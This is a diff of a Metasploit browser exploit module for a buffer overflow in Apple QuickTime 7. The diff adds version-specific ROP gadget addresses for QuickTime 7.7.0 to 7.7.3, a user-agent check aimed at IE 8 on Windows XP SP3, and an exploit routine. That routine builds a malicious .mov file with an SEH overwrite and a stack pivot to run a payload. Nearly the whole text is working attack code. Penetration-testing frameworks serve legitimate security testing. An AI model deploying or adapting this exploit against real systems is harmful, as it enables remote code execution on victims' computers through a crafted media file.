@@ -11,11 +11,10 @@ class Metasploit4 < Msf::Exploit::Remote
11
11
Rank = NormalRanking
12
12
13
13
include Msf ::Exploit ::Remote ::HttpServer ::HTML
14
- include Msf ::Exploit ::RopDb
15
14
16
15
def initialize ( info = { } )
17
16
super ( update_info ( info ,
18
- 'Name' => "Apple Quicktime Invalid Atom Length Buffer Overflow" ,
17
+ 'Name' => "Apple Quicktime 7 Invalid Atom Length Buffer Overflow" ,
19
18
'Description' => %q{
20
19
This module exploits a vulnerability found in Apple Quicktime. The flaw is
21
20
triggered when Quicktime fails to properly handle the data length for certain
@@ -40,10 +39,12 @@ def initialize(info={})
40
39
'Platform' => 'win' ,
41
40
'Targets' =>
42
41
[
43
- # Tested Quicktime versions:
44
- # 7.7.3 (1680.64)
45
- [ 'Automatic' , { } ] ,
46
- [ 'IE 8 on Windows XP SP3' , { 'Rop' => true } ] # msvcrt (7.0.2600.5512)
42
+ # All of the following addresses are from Quicktime.qts
43
+ # RET = ADD ESP,280; RET, Nop = RET, Pop = POP ESP; RET
44
+ [ 'Quicktime 7.7.3 with IE 8 on Windows XP SP3' , { 'Ret' => 0x66923467 , 'Nop' => 0x6692346d , 'Pop' => 0x66849239 } ] ,
45
+ [ 'Quicktime 7.7.2 with IE 8 on Windows XP SP3' , { 'Ret' => 0x669211C7 , 'Nop' => 0x669211CD , 'Pop' => 0x668C5B55 } ] ,
46
+ [ 'Quicktime 7.7.1 with IE 8 on Windows XP SP3' , { 'Ret' => 0x66920D67 , 'Nop' => 0x66920D6D , 'Pop' => 0x66849259 } ] ,
47
+ [ 'Quicktime 7.7.0 with IE 8 on Windows XP SP3' , { 'Ret' => 0x66920BD7 , 'Nop' => 0x66920BDD , 'Pop' => 0x668E963A } ]
47
48
] ,
48
49
'Payload' =>
49
50
{
@@ -55,34 +56,10 @@ def initialize(info={})
55
56
'InitialAutoRunScript' => 'migrate -f'
56
57
} ,
57
58
'Privileged' => false ,
58
- 'DisclosureDate' => "May 22 2013" ,
59
- 'DefaultTarget' => 0 ) )
59
+ 'DisclosureDate' => "May 22 2013"
60
+ ) )
60
61
end
61
62
62
-
63
- def get_target ( agent )
64
- return target if target . name != 'Automatic'
65
-
66
- nt = agent . scan ( /Windows NT (\d \. \d )/ ) . flatten [ 0 ] || ''
67
- ie = agent . scan ( /MSIE (\d )/ ) . flatten [ 0 ] || ''
68
-
69
- ie_name = "IE #{ ie } "
70
-
71
- case nt
72
- when '5.1'
73
- os_name = 'Windows XP SP3'
74
- end
75
-
76
- targets . each do |t |
77
- if ( !ie . empty? and t . name . include? ( ie_name ) ) and ( !nt . empty? and t . name . include? ( os_name ) )
78
- return t
79
- end
80
- end
81
-
82
- nil
83
- end
84
-
85
-
86
63
def get_payload ( t )
87
64
p = ''
88
65
@@ -120,6 +97,18 @@ def get_payload(t)
120
97
end
121
98
122
99
100
+ def targetable? ( agent )
101
+ if agent =~ /MSIE 8\. 0/ and agent =~ /Windows NT 5\. 1/
102
+ return true
103
+ elsif agent =~ /contype/
104
+ # contype: a mov file request from Apple Quicktime
105
+ return true
106
+ end
107
+
108
+ false
109
+ end
110
+
111
+
123
112
def get_html ( t )
124
113
js_p = ::Rex ::Text . to_unescape ( get_payload ( t ) , ::Rex ::Arch . endian ( t . arch ) )
125
114
fake_mov_name = rand_text_alpha ( 4 ) + ".mov"
@@ -147,10 +136,8 @@ def on_request_uri(cli, request)
147
136
agent = request . headers [ 'User-Agent' ]
148
137
print_status ( "Requesting: #{ request . uri } " )
149
138
150
- target = get_target ( agent )
151
-
152
- # contype: a mov file request from Apple Quicktime
153
- if target . nil? and agent != 'contype'
139
+
140
+ unless targetable? ( agent )
154
141
print_error ( "Browser not supported, sending 404: #{ agent } " )
155
142
send_not_found ( cli )
156
143
return
@@ -171,22 +158,22 @@ def sort_bytes(data)
171
158
data . map { |e | [ e ] . pack ( 'N' ) . scan ( /../ ) . reverse . join } . join
172
159
end
173
160
174
- def rop_nop
175
- [ 0x6692346d ] . pack ( 'V*' ) # Ret (QuickTime.qts)
161
+ def rop_nop ( t )
162
+ [ t [ 'Nop' ] ] . pack ( 'V*' ) # Ret (QuickTime.qts)
176
163
end
177
164
178
165
def exploit
179
166
buf = ''
180
167
buf << rand_text_alpha ( 467 ) # 467 to algin the pivot
181
168
10 . times {
182
- buf << rop_nop
169
+ buf << rop_nop ( target )
183
170
}
184
171
buf << [
185
- 0x66849239 , # POP ESP; RET (QuickTime.qts)
172
+ target [ 'Pop' ] , # POP ESP; RET (QuickTime.qts)
186
173
0x20302020 # Target value for ESP (our ROP payload)
187
174
] . pack ( 'V*' )
188
175
buf << rand_text_alpha ( 611 - buf . length ) # Offset 611 to hit SE Handler
189
- buf << sort_bytes ( [ 0x66923467 ] ) # ADD ESP,280; RET (QuickTime.qts) - pivot
176
+ buf << sort_bytes ( [ target . ret ] ) # ADD ESP,280; RET (QuickTime.qts) - pivot
190
177
buf << rand_text_alpha ( 658 - buf . length ) # 658 bytes to padd up the mov file size
191
178
192
179
# Quicktime File Format Specifications:
0 commit comments